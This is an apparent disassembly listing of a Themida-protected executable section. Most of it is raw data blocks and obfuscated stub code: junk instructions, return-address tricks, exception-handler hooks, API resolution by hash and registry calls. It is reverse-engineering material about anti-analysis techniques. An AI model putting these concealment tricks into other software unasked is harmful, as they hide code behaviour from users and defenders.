		dd 0A810D195h, 3006A06h, 0A82D9DBDh, 6A006A06h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0D186C352h, 4FB2CC71h, 6AD38B66h, 0C9BF0F00h, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 858DDBC3h, 6AAEE19h,	0AC18D8Bh, 8D8906A8h, 6A8062Dh
		dd 0D6BF6650h, 0E8016A34h, 5, 25EB9426h, 6DBD8B69h, 5906A832h
		dd 7E9016Ah, 7B000000h,	5CE3DA6Fh, 16A4C78h, 68D18B66h
		dd 0F01FFh, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 16h,	71C35747h, 0BD899B2Fh, 6A830E5h, 38C0Fh, 0BF0F0000h
		dd 99BD83FEh, 6A80Ah, 44840Fh, 0DA810000h, 40ECB5Dh, 49B51FBFh
		dd 98858D44h, 8A06AAECh, 36E9EAh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 609CD2C3h
		dd 62CE1965h, 0E18D230Ah, 6606A807h, 858DC88Bh,	6AAEC6Eh
		dd 9934B966h, 0FF50F550h, 0AAEC3BB5h, 0D9BD8B06h, 0FF06A825h
		dd 0AAEC2795h, 0C085F506h, 7850Fh, 34E90000h, 0B6000000h
		dd 3F85893Ah, 0E906AAECh, 8, 178EFCD3h,	34505B49h, 0EC3FB5FFh
		dd 0B70F06AAh, 0D95FFD2h, 8B06A833h, 0FC085F9h,	685h, 0ADBD2900h
		dd 6A06A80Eh, 51006A10h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 8354C84Dh, 0A80A99BDh, 840F0006h
		dd 40h,	0EC98858Dh, 6A06AAh, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 3BA0C1C3h, 0F5EF056Dh
		dd 0EB8A5BB5h, 33F5B589h, 15E906A8h, 8B000000h,	0A82895BDh
		dd 0D2B70F06h, 0EC6E858Dh, 8D8B06AAh, 6A83449h,	57006A50h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0C3D5191Ah, 7B741AB4h, 0B70FACA9h, 3BB5FFFFh, 6606AAECh
		dd 89BDD181h, 0EC3395FFh, 8D8906AAh, 6A80AD1h, 850FC085h
		dd 6, 3285B589h, 858906A8h, 6AAEC3Fh, 1591958Bh, 6A06A8h
		dd 148E0Fh, 8E80000h, 0DB000000h, 0F2EE04D3h, 99EA873h
		dd 0A82B5D95h, 6A5A06h,	68B0Fh,	0EA810000h, 0CDA74CEh
		dd 0EC3FB5FFh, 820F06AAh, 5, 0F2D58060h, 2B95FF61h, 8506AAECh
		dd 4850FC0h, 66000000h,	0FFCE17B9h, 0AAEC3FB5h,	0A0BA6606h
		dd 0D95FF76h, 306A833h,	0A80D7195h, 0FC08506h, 485h, 0E3BA6600h
		dd 0E8006A7Bh, 9, 0C72FEDAAh, 3ACAC64Ch, 9BD33BEh, 5A06A825h
		dd 8068h, 6A595700h, 1B810F03h,	0E8000000h, 13h, 0CE69C4B1h
		dd 0FA600BB2h, 8C5A9722h, 49B85E92h, 6091CC76h,	6A5A61h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 91C35040h
		dd 5850Fh, 1EB90000h, 0B93FA995h, 768DDB7Eh, 0BD8B006Ah
		dd 6A82B71h, 68h, 0AD958BC0h, 0F06A807h, 0B5FFD1B7h, 6AAECB7h
		dd 2EDDBD33h, 95FF06A8h, 6A81AC1h, 1840Fh, 66F90000h, 0F883FA8Bh
		dd 0A2850FFFh, 0FF000005h, 0AAF72585h, 73BA6606h, 25BD83E3h
		dd 206AAF7h, 44A840Fh, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0C3B78DC3h, 8D8D8BDEh
		dd 8D06A81Eh, 5B243B85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 8B757984h, 0A833918Dh
		dd 89D0FF06h, 0A82D9195h, 8E858D06h, 29005B1Eh,	0A801A985h
		dd 8BD0FF06h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 0F8928E91h, 5E9E4h, 879A0000h, 830C3028h
		dd 0A81ED9BDh, 9750006h, 2DE9BD83h, 740006A8h, 8B535019h
		dd 7D8B8C0h, 85890000h,	6A807B5h, 0A1AC9D8Dh, 0D3FF06AAh
		dd 0BD83585Bh, 6A82DE9h, 50177400h, 7D8B853h, 85890000h
		dd 6A807B5h, 9E9B9D8Dh,	0D3FF06AAh, 6A585Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 59E4C3h, 605502A5h
		dd 16E78166h, 94B1611Fh, 5E9C08Bh, 11000000h, 5B422A50h
		dd 0F003F68h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0D03FD611h, 0DE8515Bh, 0CC000000h
		dd 0A1D19653h, 6711C11Fh, 0B04781D5h, 0B0D4D781h, 595A3B2Fh
		dd 0F6E18166h, 80006A92h, 6AABC5h, 14B195FFh, 0BF6606A8h
		dd 0C085AF57h, 0D39958Bh, 858906A8h, 6AAEC3Bh, 0DD99D31h
		dd 0FF6806A8h, 8B000F01h, 99BD83FAh, 6A80Ah, 3D840Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0C8AFF1C3h, 5D1BD8Bh, 0C9B506A8h, 0EC98858Dh, 8D0106AAh
		dd 6A82F85h, 1BE9h, 9B52900h
		dd 8D06A82Dh, 0AAEC6E85h, 7E906h, 58880000h, 5B4A5F5Ch
		dd 0D0BF0F5Bh, 56006A50h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0BE7E8C66h, 1A499D09h
		dd 336006A8h, 0A8327DBDh, 0B5895106h, 6A80019h,	0B5FF6158h
		dd 6AAEC3Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	0DFC35646h, 92AEDDA1h, 0EE7599D8h, 0F5858951h
		dd 0FF06A81Eh, 0AAEC3395h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 5E2A34D4h
		dd 3F858940h, 8906AAECh, 0A800B1B5h, 0D08B6606h, 147585C7h
		dd 6A8h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h,	44810424h
		dd 1A0424h, 55450000h, 87342FC3h, 6E785ED2h, 83FA8B66h
		dd 0AAEC3FBDh, 840F0006h, 185h,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 0EFC35343h,	0FFF5D981h, 31D6B92Fh
		dd 0A8338985h, 0A5B52906h, 8D06A806h, 0AAEF1D85h, 840F06h
		dd 50000000h, 9F40F4BAh, 66016A54h, 0FF6E7CBAh,	0AAEC3FB5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0F70EBA5Ch, 95FF6DF3h, 6AAEC37h,	24FD8589h
		dd 0B5FF06A8h, 6AAEC3Fh, 5DBD0B60h, 8B06A81Ah, 0A82C719Dh
		dd 95FF6106h, 6A8330Dh,	49958952h, 5F06A815h, 1E59BD8Bh
		dd 0FF6806A8h, 66000F01h, 0BD83FA8Bh, 6A80A99h,	68840F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 37A4C352h, 68F0F03h, 8B000000h
		dd 0A80E8D95h, 98858D06h, 0E806AAECh, 7, 99EF79AEh, 669EC102h
		dd 0A32BDF81h, 18870F5Fh, 0E9000000h, 13h, 0FCE75B76h
		dd 35F4BBC2h, 0B77528F2h, 7315ABBBh, 0E97D69B5h, 0Fh, 8DCFCD80h
		dd 0AAEC6E85h, 0AD952306h, 5006A819h, 3BB5FFF5h, 6006AAECh
		dd 719B58Bh, 0FF6106A8h, 0AAEC3395h, 9958B06h, 3106A810h
		dd 0A81D79BDh, 3F858906h, 5706AAECh, 34618D8Bh,	0FF5906A8h
		dd 0AAEC3FB5h, 0FFD08B06h, 0AAEC2F95h, 7E906h, 0F0480000h
		dd 0E72521B9h, 3FB5FF56h, 0FF06AAECh, 0A8330D95h, 0ECBA6606h
		dd 0F76FE9B6h, 958BFFFFh, 6A80EBDh, 0F788B5FFh,	95FF06AAh
		dd 6A820DDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	56C35141h, 1900BD9Fh, 0A9E8E281h, 0DE809BBh, 0E8000000h
		dd 4A031165h, 29AA1887h, 767B8B8Ch, 59CAB70Fh, 19FD858Bh
		dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0E43CE3C3h, 0B8CDF19Eh, 2691BD89h, 8B6606A8h
		dd 588E9FAh, 95890000h,	6A81AA9h, 0EF3DB58Dh, 0B53106AAh
		dd 6A81E39h, 9B7C858Dh,	816606AAh, 0FF3CFEDFh, 6AA3B5D0h
		dd 0EE95700h, 0AB000000h, 0E935D583h, 935A2C8Fh, 1CD3F37Dh
		dd 95FF5960h, 6A80081h,	260DB529h, 0F38B06A8h, 8DFA8B66h
		dd 0AA9B7C85h, 0D0FFF906h, 2B31BD8Bh, 6A06A8h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 7EC35343h, 987818E5h
		dd 0D3E49FC7h, 0CF8156FFh, 6D87AADEh, 8195FF5Ah, 6A06A800h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0E3FDC351h, 0F8E84A9h, 2DBFB9CAh,	0E80216ABh
		dd 6, 0EFCCD418h, 0C88A4852h, 6AC08B5Ah, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 8804C357h
		dd 3DC91E4Ah, 89601548h, 0A807699Dh, 6860F06h, 8B000000h
		dd 0A81A69B5h, 8D336106h, 6A829B1h, 1ED9BD83h, 750006A8h
		dd 0E9BD8309h, 6A82Dh, 53501974h, 0D9B8C08Bh, 89000007h
		dd 0A807B585h, 0AC9D8D06h, 0FF06AAA1h, 83585BD3h, 0A82DE9BDh
		dd 17740006h, 0D9B85350h, 89000007h, 0A807B585h, 9B9D8D06h
		dd 0FF06AA9Eh, 8B585BD3h, 0F6B966C0h, 0ABA50FBh, 9138CBAh
		dd 0A80DD99Dh, 80D88B06h, 8D53C7E1h, 0A828159Dh, 89038B06h
		dd 50438B03h, 8D504389h, 0AAF7219Dh, 89038B06h,	0B5895B03h
		dd 6A80B89h, 0F58D0160h, 8906A813h, 0A81461BDh,	0F18A6106h
		dd 858D006Ah, 6AAF721h,	0CE8h, 0A33F5F00h, 97343FDAh, 0AD74F4ECh
		dd 594FB571h, 659D0950h, 6A06A81Eh, 0E9816660h,	858D8AC7h
		dd 6A82815h, 0B9D9589h,	6A5006A8h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 6A41C357h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 8166F23Ch, 6AD193D2h, 48B0F00h, 66000000h
		dd 68534BBFh, 1800h, 6A53CA8Bh,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 8136C357h, 329DCC22h
		dd 35BD010Ah, 0FF06A832h, 0A829D595h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 8166EAB3h, 0FF06BCC2h, 0A80F5595h, 0C3DD8006h, 11E9h
		dd 0B41ECF00h, 6C7B49F7h, 0B4AE078Eh, 0E4BECD47h, 0B5FFB0C0h
		dd 6AAF788h, 13E8h, 1F7DC00h, 27477EC7h, 95A3F052h, 0AA5382Ch
		dd 8F8A7A11h, 198531h, 0FF5A06A8h, 0A820DD95h, 8F0F5106h
		dd 1, 858D59FCh, 6A82815h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 6EC35343h, 80D972D5h,	8BA8E974h, 0A814B995h
		dd 18408B06h, 28B98D8Bh, 85C706A8h, 6A83415h, 0
; ---------------------------------------------------------------------------
		adc	dh, 80h
		mov	ecx, 0E130F48h
		cmp	dword ptr [ebp+6A80A99h], 0
		jz	loc_57BE99
		sub	edi, [ebp+6A80D5Dh]
		cmp	eax, 8Ch
		jnb	loc_57C002
		push	0
		push	eax
		call	sub_57BE79
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57BE79	proc near		; CODE XREF: Themida_:0057BE71p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_57BE79	endp

; ---------------------------------------------------------------------------
		mov	edi, 8D8B5356h
		pop	ebp
		push	gs
		push	es
		pop	ecx
		pop	edi
		jmp	loc_57BECD
; ---------------------------------------------------------------------------


loc_57BE99:				; CODE XREF: Themida_:0057BE57j
		cmp	eax, 98h
		jnb	loc_57C002
		push	0
		push	edx
		call	sub_57BEAF
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57BEAF	proc near		; CODE XREF: Themida_:0057BEA7p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_57BEAF	endp

; ---------------------------------------------------------------------------
		mov	ch, 0B8h
		jmp	small loc_57BECB
; ---------------------------------------------------------------------------
		db 2 dup(0), 0BDh
; ---------------------------------------------------------------------------
		jb	short loc_57BF3B
		das


loc_57BECB:				; CODE XREF: Themida_:0057BEC1j
		wait
		push	edi


loc_57BECD:				; CODE XREF: Themida_:0057BE94j
		lea	eax, dword_5B243B[ebp]
		call	eax
		pusha
		mov	al, cl
		mov	ebx, [ebp+6A81649h]
		popa
		lea	eax, word_5B1E8E[ebp]
		jmp	loc_57BEFB
; ---------------------------------------------------------------------------
		dw 8EA6h
		dd 0AA57A119h, 4B50F8EEh, 2D6C7037h
		db 0C7h, 0DAh, 0CBh
; ---------------------------------------------------------------------------


loc_57BEFB:				; CODE XREF: Themida_:0057BEE5j
		or	[ebp+6A814FDh],	esi
		call	eax
		mov	eax, eax
		mov	dl, 8
		cmp	dword ptr [ebp+6A81ED9h], 0
		jnz	short loc_57BF19
		cmp	dword ptr [ebp+6A82DE9h], 0
		jz	short loc_57BF32


loc_57BF19:				; CODE XREF: Themida_:0057BF0Ej
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0BC6h
		mov	[ebp+6A807B5h],	eax
		lea	ebx, [ebp+6AAA1ACh]
		call	ebx
		pop	ebx
		pop	eax


loc_57BF32:				; CODE XREF: Themida_:0057BF17j
		cmp	dword ptr [ebp+6A82DE9h], 0
		jz	short loc_57BF52


loc_57BF3B:				; CODE XREF: Themida_:0057BEC8j
		push	eax
		push	ebx
		mov	eax, 0BC6h
		mov	[ebp+6A807B5h],	eax
		lea	ebx, [ebp+6AA9E9Bh]
		call	ebx
		pop	ebx
		pop	eax


loc_57BF52:				; CODE XREF: Themida_:0057BF39j
		mov	dx, 6F2Dh
		sub	dl, 0EDh
		mov	eax, eax
		mov	[ebp+6A82CCDh],	edi
		cmp	eax, 0FFFFFFFFh
		jnz	loc_57BF98
		or	edi, [ebp+6A802F5h]
		mov	dword ptr [ebp+6A82F21h], 0
		mov	[ebp+6A80B6Dh],	edi
		jmp	loc_57C098
; ---------------------------------------------------------------------------
		mov	cl, 36h
		jmp	loc_57BFF7
; ---------------------------------------------------------------------------
		jg	loc_57BF98
		mov	ecx, [ebp+6A80C01h]


loc_57BF98:				; CODE XREF: Themida_:0057BF64j
					; Themida_:0057BF8Cj
		cmp	eax, 1
		jnz	loc_57BFF7
		jmp	loc_57BFB4
; ---------------------------------------------------------------------------
		dw 0D865h
; ---------------------------------------------------------------------------
		retn	52FFh
; ---------------------------------------------------------------------------
		db 0B8h
		dd 0A254C84Dh, 0E188A170h
; ---------------------------------------------------------------------------


loc_57BFB4:				; CODE XREF: Themida_:0057BFA1j
		jmp	loc_57C0CA
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_57BFC4
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57BFC4	proc near		; CODE XREF: Themida_:0057BFBCp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_57BFC4	endp

; ---------------------------------------------------------------------------
		dd 44C8DD43h, 0C26DE6E4h, 5A569C02h, 12E9h, 0A3867F00h
		dd 0EA2C7F53h, 0F8EC1B4Ch, 0D81747AEh
		db 24h,	0E0h, 2Ch
; ---------------------------------------------------------------------------


loc_57BFF7:				; CODE XREF: Themida_:0057BF87j
					; Themida_:0057BF9Bj
		jmp	near ptr dword_57B044+1E9h
; ---------------------------------------------------------------------------
		add	edx, [ebp+6A80045h]


loc_57C002:				; CODE XREF: Themida_:0057BE68j
					; Themida_:0057BE9Ej
		mov	eax, eax
		clc
		cmp	dword ptr [ebp+6A81ED9h], 0
		jnz	short loc_57C017
		cmp	dword ptr [ebp+6A82DE9h], 0
		jz	short loc_57C030


loc_57C017:				; CODE XREF: Themida_:0057C00Cj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7DDh
		mov	[ebp+6A807B5h],	eax
		lea	ebx, [ebp+6AAA1ACh]
		call	ebx
		pop	ebx
		pop	eax


loc_57C030:				; CODE XREF: Themida_:0057C015j
		cmp	dword ptr [ebp+6A82DE9h], 0
		jz	short loc_57C050
		push	eax
		push	ebx
		mov	eax, 7DDh
		mov	[ebp+6A807B5h],	eax
		lea	ebx, [ebp+6AA9E9Bh]
		call	ebx
		pop	ebx
		pop	eax


loc_57C050:				; CODE XREF: Themida_:0057C037j
		jnz	loc_57C060
		jmp	loc_57C060
; ---------------------------------------------------------------------------
		db 66h
		dd 17CBD23h
; ---------------------------------------------------------------------------


loc_57C060:				; CODE XREF: Themida_:loc_57C050j
					; Themida_:0057C056j
		mov	ecx, [ebp+6A828B5h]
		mov	eax, eax
		push	0
		push	ebx
		call	sub_57C073
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57C073	proc near		; CODE XREF: Themida_:0057C06Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_57C073	endp

; ---------------------------------------------------------------------------
		db 67h
; ---------------------------------------------------------------------------
		add	al, 82h
		mov	[ebp+6A8300Dh],	edi
		jmp	loc_57C287
; ---------------------------------------------------------------------------
		cld
		mov	edi, [ebp+6A801B5h]


loc_57C098:				; CODE XREF: Themida_:0057BF80j
		lea	eax, [ebp+6AAF525h]
		mov	[ebp+6A81EA1h],	esi
		mov	[ebp+6AAF71Dh],	eax
		mov	ecx, 8AF724Fh
		jmp	loc_57C0EE
; ---------------------------------------------------------------------------
		dd 0AE8h, 41FBD600h, 0F0D5B404h, 898F7FECh, 0A80A659Dh
; ---------------------------------------------------------------------------
		push	es
		pop	edi


loc_57C0CA:				; CODE XREF: Themida_:loc_57BFB4j
		lea	eax, [ebp+6AAF32Dh]
		jl	loc_57C0D9
		movzx	edx, dx


loc_57C0D9:				; CODE XREF: Themida_:0057C0D0j
		inc	eax
		sub	[ebp+6A82189h],	esi
		adc	dx, 7013h
		mov	[ebp+6AAF71Dh],	eax
		movzx	edi, ax


loc_57C0EE:				; CODE XREF: Themida_:0057C0AFj
		push	34h
		lea	eax, [ebp+6A826D1h]
		push	eax
		push	dword ptr [ebp+6AAF71Dh]
		push	0
		call	dword ptr [ebp+6A8142Dh]
		cmp	eax, 7
		jz	loc_57C276
		mov	bx, ds
		test	bl, 4
		jnz	loc_57C21C
		mov	byte ptr [ebp+6A815D5h], 56h
		push	9CA8B852h
		push	dword ptr [ebp+6A831F9h]
		lea	eax, [ebp+6A83AC3h]
		call	eax
		push	4
		push	1000h
		push	64h
		push	0
		call	eax
		mov	[ebp+6AAF790h],	eax
		mov	byte ptr [ebp+6A815D5h], 47h
		push	0EC18AC9Bh
		push	dword ptr [ebp+6A831F9h]
		lea	eax, [ebp+6A83AC3h]
		call	eax
		call	eax
		mov	esi, eax
		mov	byte ptr [ebp+6A815D5h], 4Fh
		push	0C62F2661h
		push	dword ptr [ebp+6A8069Dh]
		lea	eax, [ebp+6A83AC3h]
		call	eax
		lea	ebx, [ebp+6AAF78Ch]
		push	ebx
		push	28h
		push	esi
		call	eax
		test	eax, eax
		jnz	short $+2
		mov	byte ptr [ebp+6A815D5h], 41h
		push	0DB876498h
		push	dword ptr [ebp+6A8069Dh]
		lea	eax, [ebp+6A83AC3h]
		call	eax
		mov	[ebp+6AAF7A9h],	eax
		mov	byte ptr [ebp+6A815D5h], 4Ch
		push	80A4E7A4h
		push	dword ptr [ebp+6A8069Dh]
		lea	eax, [ebp+6A83AC3h]
		call	eax
		mov	ebx, [ebp+6AAF790h]
		lea	ebx, [ebx+4]
		push	ebx
		lea	ebx, [ebp+6AAF795h]
		push	ebx
		push	0
		call	eax
		mov	ebx, [ebp+6AAF790h]
		mov	dword ptr [ebx], 1
		mov	dword ptr [ebx+0Ch], 2
		mov	ebx, [ebp+6A8307Dh]
		mov	dword ptr [ebp+6A82615h], 0
		push	0
		push	0
		push	0
		mov	ebx, [ebp+6AAF790h]
		push	ebx
		push	0
		push	dword ptr [ebp+6AAF78Ch]
		call	dword ptr [ebp+6AAF7A9h]


loc_57C21C:				; CODE XREF: Themida_:0057C114j
		mov	byte ptr [ebp+6A815D5h], 45h
		push	92A5F797h
		push	dword ptr [ebp+6A80D2Dh]
		lea	eax, [ebp+6A83AC3h]
		call	eax
		push	0
		push	2
		call	eax
		mov	bx, ds
		test	bl, 4
		jnz	short loc_57C276
		mov	ebx, [ebp+6AAF790h]
		mov	dword ptr [ebx+0Ch], 0
		push	0
		push	0
		mov	ebx, [ebp+6AAF790h]
		push	ebx
		push	0
		push	dword ptr [ebp+6AAF78Ch]
		call	dword ptr [ebp+6AAF7A9h]
		push	dword ptr [ebp+6AAF78Ch]
		call	dword ptr [ebp+6A80F55h]


loc_57C276:				; CODE XREF: Themida_:0057C108j
					; Themida_:0057C242j
		push	0
		call	dword ptr [ebp+6A80081h]
		mov	cx, dx
		mov	edx, [ebp+6A80779h]


loc_57C287:				; CODE XREF: Themida_:0057C08Cj
		lea	eax, [ebp+6AB2986h]
		or	[ebp+6A83179h],	edi
		mov	ecx, [ebp+6A81549h]
		push	eax
		push	0
		push	ebx
		call	sub_57C2A5
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57C2A5	proc near		; CODE XREF: Themida_:0057C29Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_57C2A5	endp

; ---------------------------------------------------------------------------
		push	ebx
		dec	byte ptr [ecx]
		push	large dword ptr	fs:0
		mov	cx, 1853h
		mov	large fs:0, esp
		mov	ecx, esi
		cmp	dword ptr [ebp+6A80061h], 0
		jz	loc_57C314
		mov	[ebp+6A821D5h],	ecx
		cmp	dword ptr [ebp+6A8339Dh], 1
		jnz	loc_57C314
		mov	[ebp+6A81659h],	ecx
		cmp	byte ptr [ebp+6AAFBA9h], 0
		jnz	loc_57C314
		jnb	loc_57C306
		cmc


loc_57C306:				; CODE XREF: Themida_:0057C2FFj
		jmp	loc_57C488
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+6A80FEDh],	ebx
		cld
		popa


loc_57C314:				; CODE XREF: Themida_:0057C2D3j
					; Themida_:0057C2E6j ...
		xor	ebx, ebx
		push	0
		push	ebx
		call	sub_57C321
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57C321	proc near		; CODE XREF: Themida_:0057C319p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_57C321	endp

; ---------------------------------------------------------------------------
		db 78h,	99h, 0D5h
		dd 3ECD8043h, 8B66C033h, 3F0F40FEh, 8F640B07h, 5, 4C48300h
		dd 72EAC181h, 958B0F04h, 6A819F9h, 0FFFFB83h, 2A84h, 0DBE68000h
		dd 115E9h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 9435CEA2h, 0E92A15F0h, 67h, 8BF8BF0Fh
		dd 0C70C244Ch, 0A481h, 0FFFFFF00h, 0B88183FFh, 4000000h
		dd 8BC3C033h, 550C245Ch, 0E8h, 0ED815D00h, 6AB29A8h, 0B8838Bh
		dd 858D0000h, 6AB2A7Bh,	0B88389h, 335D0000h, 0F60C3C0h
		dd 68Fh, 59958900h, 306A826h, 0A808D99Dh, 6E96106h, 10000000h
		dd 12F24723h, 22DA8105h, 8D0A3F11h, 0AB299E85h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 119566EAh, 1A391AD3h, 0A9BD8BC7h, 5006A802h,	0DD64B966h
		dd 35FF64h, 0E9000000h,	11h, 6A75FDC3h,	930976ACh, 3C45905Ah
		dd 0F32575E6h, 2589641Bh, 0
		dd 27D19D89h, 0AB906A8h, 0B8000000h, 4855D704h,	0F7816405h
		dd 0D465BB0Dh, 40BA8685h, 810034B6h, 345FE8EAh,	0FB81ED00h
		dd 564D5868h, 85C70A75h, 6A81725h, 1
; ---------------------------------------------------------------------------


loc_57C488:				; CODE XREF: Themida_:loc_57C306j
		pop	large dword ptr	fs:0
		add	esp, 4
		add	[ebp+6A82001h],	esi
		mov	dx, 17E9h
		mov	eax, eax
		add	[ebp+6A80DD9h],	ecx
		cmp	dword ptr [ebp+6A81ED9h], 0
		jnz	short loc_57C4B6
		cmp	dword ptr [ebp+6A82DE9h], 0
		jz	short loc_57C4CF


loc_57C4B6:				; CODE XREF: Themida_:0057C4ABj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 43Dh
		mov	[ebp+6A80FD5h],	eax
		lea	ebx, [ebp+6AAA213h]
		call	ebx
		pop	ebx
		pop	eax


loc_57C4CF:				; CODE XREF: Themida_:0057C4B4j
		cmp	dword ptr [ebp+6A82DE9h], 0
		jz	short loc_57C4EF
		push	eax
		push	ebx
		mov	eax, 43Dh
		mov	[ebp+6A80FD5h],	eax
		lea	ebx, [ebp+6AA9EB4h]
		call	ebx
		pop	ebx
		pop	eax


loc_57C4EF:				; CODE XREF: Themida_:0057C4D6j
		and	ecx, [ebp+6A80C25h]
		cmc
		push	0
		push	ebp
		call	sub_57C501
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57C501	proc near		; CODE XREF: Themida_:0057C4F9p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_57C501	endp

; ---------------------------------------------------------------------------
		adc	byte ptr [edi+edx-749954C1h], 0F9h
		mov	eax, eax
		jmp	loc_57C667
; ---------------------------------------------------------------------------
		dd 4, 31392E31h, 30h, 6	dup(0)
		db    0
		align 2
aExceptionInfor	db 'Exception Information',0
aPleaseContactT	db 'Please, contact the software developers with the following codes.'
		db ' Thank you.',0Ah
		db 0Dh,0Ah
		db 0Dh,'        (press CTRL+C on this window to copy to clipboard)    ',0Ah
		db 0Dh,0Ah
		db 0Dh,'Version  = %s',0Ah
		db 0Dh,'CheckIN  = %d',0Ah
		db 0Dh,'CheckOUT = %d',0Ah
		db 0Dh,'ProcIN   = %d',0Ah
		db 0Dh,'ProcOUT  = %d',0Ah
		db 0Dh,'ExitIN   = %d',0Ah
		db 0Dh,'ExitOUT  = %d',0Ah
		db 0Dh,'TPin     = %d',0Ah
		db 0Dh,0
; ---------------------------------------------------------------------------


loc_57C667:				; CODE XREF: Themida_:0057C51Bj
		cmp	dword ptr [ebp+6A81F91h], 0
		jz	loc_57C7A1
		lea	eax, [ebp+6AA9CCBh]
		push	eax
		lea	eax, [ebp+6AA9C35h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+6AA9CDBh]
		lea	eax, [ebp+6AB2B13h]
		push	eax
		lea	eax, [ebp+6AB2B1Dh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+6AA9C49h]
		push	eax
		push	dword ptr [ebp+6AA9CCBh]
		call	dword ptr [ebp+6A80D11h]
		lea	eax, [ebp+6AB2B13h]
		push	eax
		lea	eax, [ebp+6AB2B21h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+6AA9C5Bh]
		push	eax
		push	dword ptr [ebp+6AA9CCBh]
		call	dword ptr [ebp+6A80D11h]
		lea	eax, [ebp+6AB2B13h]
		push	eax
		lea	eax, [ebp+6AB2B2Dh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+6AA9CA8h]
		push	eax
		push	dword ptr [ebp+6AA9CCBh]
		call	dword ptr [ebp+6A80D11h]
		lea	eax, [ebp+6AB2B13h]
		push	eax
		lea	eax, [ebp+6AB2B35h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+6AA9CC6h]
		push	eax
		push	dword ptr [ebp+6AA9CCBh]
